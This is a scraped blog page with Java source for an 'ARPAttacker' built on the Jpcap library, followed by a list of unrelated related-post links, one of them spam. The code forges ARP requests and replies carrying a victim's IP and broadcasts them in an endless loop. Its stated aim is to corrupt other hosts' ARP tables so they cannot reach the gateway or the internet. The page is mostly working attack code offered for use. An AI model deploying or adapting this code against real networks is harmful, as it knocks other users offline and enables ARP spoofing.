Jpcap development for ARP
来源:互联网 发布:图论算法定义 编辑:程序博客网 时间:2024/06/14 05:08
Jpcap URL: http://netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html
Jpcap API: http://netresearch.ics.uci.edu/kfujii/jpcap/doc/javadoc/index.html
ARPAttacker:
method: Attack the computers in the same network with attacker via broadcasting the arp request packets to the computers in order to modify the gate mac value of the arp ip-mac hashtable so the computers attacked will not surfer the internet because of unfinding the right position of gate.
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package arpcap;
import jpcap.*;
import java.io.IOException;
import jpcap.packet.*;
/**
*
* @author Administrator
*/
public class Main {
static ARPPacket initialARP(byte[] targetIP,byte[] localMac,byte[] localIP){
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
ARPPacket arp=new ARPPacket();
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST;
arp.hlen=6;
arp.plen=4;
arp.sender_hardaddr=localMac;
arp.sender_protoaddr=localIP;
arp.target_hardaddr=broadcast;
arp.target_protoaddr=targetIP;
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=localMac;
ether.dst_mac=broadcast;
arp.datalink=ether;
return arp;
}
static ARPPacket initialREPARP(byte[] targetMac,byte[] targetIP,byte[] localMac,byte[] localIP){
ARPPacket reply=new ARPPacket();
reply.hardtype=ARPPacket.HARDTYPE_ETHER;
reply.prototype=ARPPacket.PROTOTYPE_IP;
reply.operation=ARPPacket.ARP_REPLY;
reply.hlen=6;
reply.plen=4;
reply.sender_hardaddr=localMac;
reply.sender_protoaddr=localIP;
reply.target_hardaddr=targetMac;
reply.target_protoaddr=targetIP;
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=localMac;
ether.dst_mac=targetMac;
reply.datalink=ether;
return reply;
}
/**
* @param args the command line arguments
*/
public static void main(String[] args) {
// TODO code application logic here
NetworkInterface[] devices=JpcapCaptor.getDeviceList();
for(NetworkInterface device:devices){
System.out.println(device.name);
NetworkInterfaceAddress[] addrs=device.addresses;
for(NetworkInterfaceAddress addr:addrs){
System.out.println(addr.address);
}
String macStr="";
for(int i=0;i<device.mac_address.length;i++){
macStr+=Integer.toHexString(device.mac_address[i]& 0xFF);
if(i<(device.mac_address.length-1)){
macStr+="-";
}
}
System.out.println(macStr);
System.out.println("---------------------------------------------");
}
System.out.println("请选择将要监控的网络适配器:(从0开始计算)");
try{
int deviceIndex=System.in.read()-48;
NetworkInterface device=devices[deviceIndex];
byte[] localMac=device.mac_address;
byte[] localIP=device.addresses[0].address.getAddress();
String targetIPStr="10.10.10.10";
byte[] targetIP=new byte[4];
int i=0;
for(String str:targetIPStr.split("[.]")){
targetIP[i++]=(byte)(Integer.parseInt(str));
}
String targetMacStr="00:0d:48:13:04:c4";
byte[] targetMac=new byte[6];
int j=0;
for(String str:targetMacStr.split("[:]")){
targetMac[j++]=(byte)(Integer.parseInt(str,16));
}
JpcapCaptor cap=JpcapCaptor.openDevice(device, 2000, true, 3000);
cap.setFilter("arp", true);
System.out.println("初始化ARP请求发送包:");
//ARPPacket arp=initialREPARP(targetMac,targetIP,localMac,targetIP);
ARPPacket arp=initialARP(targetIP,localMac,targetIP);
JpcapSender sender=cap.getJpcapSenderInstance();
while(true){
sender.sendPacket(arp);
}
}catch(IOException ex){
System.out.println(ex.toString());
}
}
}
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package arpcap;
import java.util.Arrays;
import jpcap.packet.*;
import jpcap.PacketReceiver;
import java.net.*;
/**
*
* @author Administrator
*/
public class packetPrinter implements PacketReceiver {
public void receivePacket(Packet p){
ARPPacket arp=(ARPPacket)p;
String targetIPStr="10.10.10.10";
byte[] targetIP=new byte[4];
int i=0;
for(String str:targetIPStr.split("[.]")){
targetIP[i++]=(byte)(Integer.parseInt(str));
}
try{
if(Arrays.equals(arp.sender_protoaddr,targetIP) & Arrays.equals(arp.target_protoaddr,Inet4Address.getLocalHost().getAddress())){
for(int j=0;j<6;j++){
System.out.println(((EthernetPacket)arp.datalink).dst_mac[1]);
}
System.out.println(arp);
}
}catch(Exception ex){
System.out.println(ex.toString());
}
}
}
- Jpcap development for ARP
- JPCAP捕获ARP数据包
- 使用JPCAP实现ARP欺骗
- 使用 Jpcap 进行 ARP 抓包
- jpcap
- jpcap
- JPCAP
- JPCAP详细介绍及ARP监听的例子
- 基于Jpcap的Java ARP断网攻击
- Considerations for handheld development
- Web development for Mobile
- Log4j for Android Development
- STM32 Development For Linux
- STM32 Development For Linux
- 关闭ARP(for NS2)
- ASP Tools for Software Development
- Manifesto for Agile Software Development
- Manifesto for Agile Software Development
- Weka----怀卡托智能分析环境(Waikato Environment for Knowledge Analysis)
- 酒桌上的潜规则,男人必学,女人必知!(转)
- 我机器的电源选项里的休眠咋不在了
- 福布斯公布09年全球富豪排行榜 盖茨重回榜首
- 十句简单的英文用法 让自己的美语活起来
- Jpcap development for ARP
- c#公共类直接调方法
- 正规军的军规 转载自 西安程序员俱乐部
- JS三级下拉(静态)
- JAVA 递归和非递归删除目录及文件
- 编译自己的linux操作系统
- MSSQL语句实现排名次
- www.nfl-trade.com wholesale nfl jerseys,nhl jerseys,mlb jerseys,nba jerseys Accept Paypal
- 三月里的小雨- 天津